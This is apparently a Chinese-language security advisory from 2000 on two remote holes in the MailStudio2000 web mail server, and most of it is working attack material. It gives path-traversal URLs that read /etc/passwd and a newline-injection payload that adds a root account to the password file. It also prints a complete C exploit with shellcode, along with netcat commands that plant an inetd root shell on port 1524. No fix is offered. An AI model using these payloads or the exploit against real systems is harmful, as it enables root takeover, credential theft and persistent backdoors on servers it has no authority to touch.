3R Soft MailStudio 2000 2.0存在远程漏洞发布时间:2000-04-16 更新时间:2000-04-16 严重程度:中 威胁程度:远程非授权文件存取 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Sun Solaris 8.0详细描述 MailStudio2000是3RSoft.com提供的一个基于web的e-mail server。MailStudio2000的两个漏洞使得远程登录到MailStudio2000的用户能够浏览系统的任意文件,包括E-mail ,密码数据库以及系统的配置文件。更严重的是能以root权限在服务器上执行CGI程序,这样攻击者能够查看 passwd/shadow文件,日志文件。受影响的版本:MailStudio2000或者更低的版本。 第一个漏洞:在MailStudio2000的cgi-auth目录下存在多个cgi应用程序,cgi-auth目录下的任何一个CGI文件都存在同样的问题:因MailStudio2000是自由软件,我们能够注册,取得合法用户名,登录并调用一个CGI ,比如:mailview.cgi mailview.cgi?cmd=view&fldrname=inbox&select=1&html=../../../../../../etc/passwd 应该注意的是根据root目录的不同,在".."中要相应的改为MailStudio2000的cwd,这里是 '/home/sysop/mailstudio2k/' 假如以root的身份运行MailStudio2000,/etc/passwd就会被抓取。 第二个漏洞是由userreg.cgi引起的,userreg.cgi用来注册新用户,问题就出在这个cgi程序里。下面的命令:useradd -s /bin/noshell -p password %s,其中登录用户名(%s),会过滤大写字母,空格和一 些特殊字符,比如";","&"等。经过测试,发现字符"\x0a"过被接受,我们可以在 \x0a后面执行程序。看下面的 测试例子: ----先自己发送一封email给自己,信的开头或者正文,只写以下一行: spj::0:0:S0ftPj2k:/root:/bin/bash ----这样就可利用来执行一些恶意的cgi程序,比如: cat < /var/spool/mail/your_login >> /etc/passwd 以上一行要先写入密码文件中。 测试代码 s0ftpr0ject <http://www.s0ftpj.org>提供了下列的测试方法: Mail view漏洞: mailview.cgi?cmd=view&fldrname=inbox&select=1&html=../../../../../../etc/passwd userreg.cgi漏洞: userreg.cgi?cmd=insert&lang=eng&tnum=3&fld1=test999%0acat</var/spool/mail/login>>/etc/passwd MailStudio2000 的主页: http://www.3rsoft.com/ 下面是Fyodor提供的userreg.cgi漏洞的测试程序 你可以 ./userregsp "echo -n 1524 stream tcp nowait r>>/tmp/.o" | nc victim 8080 ./userregsp "echo oot /bin/sh sh -i >>/tmp/.o" | nc victim 8080 ./userregsp "/usr/sbin/inetd /tmp/.o" | nc victim 8080 telnet victim 1524 #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <string.h> /* http://www.mailstudio.com * executes command as root.mail * usage: userregsp [-s retaddr] [-a shellcodeoffset] [-o offset] * [-c command] | nc <host> <port> * * problems: * usually commandline gets truncated after 42 characters. * sometimes shellcode might be damaged, to get around this you'd have to split * command into few parts or move shellcode on different place. (-a argument) * * f.e. * ./userregsp "echo -n 1524 stream tcp nowait r>>/tmp/.o" | nc victim 8080 * ./userregsp "echo oot /bin/sh sh -i >>/tmp/.o" | nc victim 8080 * ./userregsp "/usr/sbin/inetd /tmp/.o" | nc victim 8080 * telnet victim 1524 * * * Here I found possible stack addresses which might be of some help: * 0xbfffe6a4 -- when correct `Referer: ....' header has been passed * 0xbfffe578 -- when incorrect `Referer: ..' header has been passed * 0xbfffe598 -- when `Referer: ..' header is not present. * ... * Mon Apr 24 20:14:31 ICT 2000 -- fygrave@tigerteam.net */ #define TALKING "POST /cgi-auth/userreg.cgi HTTP/1.0\n"\ "Connection: Keep-Alive\n"\ "User-Agent: Mozilla/4.7 [en] (X11; U; Linux 2.2.13 i586)\n"\ "Host: mailstudio_server:8081\n"\ "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n"\ "Accept-Encoding: gzip\n"\ "Accept-Language: en\n"\ "Accept-Charset: iso-8859-1,*,utf-8\n"\ "Cookie: lang=eng; tnum=1\n"\ "Content-type: application/x-www-form-urlencoded \n"\ "Content-length: 179\n\n"\ "cmd=insert&chk=&template=%%2Ftemplate%%2Feng1&fld1=%s&fld2=XXX&passwd_confirm=XXX&fld4=name&fld5 =jiji&fld6=1&fld7=&fld9=&fld10=&fld11=&fld12=&fld13=&fld14=&fld15=&fld16=&fld17=\n\n" #define BUF_SIZE 1024 char shellcode[]= "\xeb\x2e" // jmp 80483dc <tail> "\x5e" // popl %esi "\x89\x76\x70" // movl %esi,0x70(%esi) "\x8d\x46\x08" // leal 0x18(%esi),%eax "\x89\x46\x74" // movl %eax,0x74(%esi) "\x8d\x46\x0b" // leal 0x1b(%esi),%eax "\x89\x46\x78" // movl %eax,0x78(%esi) "\x31\xc0" // xorl %eax, %eax "\x88\x46\x07" // movb %al,0x7(%esi) "\x88\x46\x0a" // movb %al,0xa(%esi) "\x89\x46\x7c" // movl %eax,0x7c(%esi) "\xb0\x0b" // movb $0xb, %al "\x89\xf3" // movl %esi, %ebx "\x8d\x4e\x70" // leal 0x70(%esi), %ecx "\x8d\x56\x7c" // leal 0x74(%esi), %edx "\xcd\x80" // int $0x80 "\x31\xdb" // xorl %ebx,%ebx "\x89\xd8" // movl %ebx,%eax "\x40" // incl %eax "\xcd\x80" // int $0x80 "\xe8\xcd\xff\xff\xff"// call 80483ae <callback> "/bin/sh\xff-c\xff"; extern char *optarg; void main(int argc, char **argv) { char buf[BUF_SIZE+1]; char *foo; char *command, c; unsigned long retaddr,bp, offset, shelloffset; /* defaults */ command="/bin/touch /tmp/0wn3d"; retaddr=0xbfffe598; bp=0xbfffe678; offset = 16; shelloffset = 24; while((c = getopt(argc, argv, "s:c:")) !=EOF) switch(c) { case 's': retaddr = strtoul(optarg,NULL,0); break; case 'a': shelloffset = strtoul(optarg,NULL,0); break; case 'o': offset = strtoul(optarg,NULL,0); break; case 'c': command = optarg; if (strlen(command) > 42) fprintf(stderr,"WARNING: your command line " "might get truncated!\n"); break; default: fprintf(stderr, "usage %s [-c command] [-s retaddr]" " [-o offset] [-a shelloffset]\n", argv[0]); exit(1); } foo=&buf[offset]; bzero(buf,BUF_SIZE+1); memset(buf,0x90,BUF_SIZE); *foo++ = (bp >> 0) & 0xff; *foo++ = (bp >> 8) & 0xff; *foo++ = (bp >>16) & 0xff; *foo++ = (bp >>24) & 0xff; *foo++ = (retaddr >> 0) & 0xff; *foo++ = (retaddr >> 8) & 0xff; *foo++ = (retaddr >>16) & 0xff; *foo++ = (retaddr >>24) & 0xff; /* * you can get outside the buffer boundaries here but I don't care. Very long * command lines would be damaged by shellcode or truncated anyway.. */ bcopy(shellcode,&buf[shelloffset],strlen(shellcode+1)); bcopy(command,&buf[24+strlen(shellcode)],strlen(command)+1); printf(TALKING, buf); } 解决方案 尚无 相关信息 |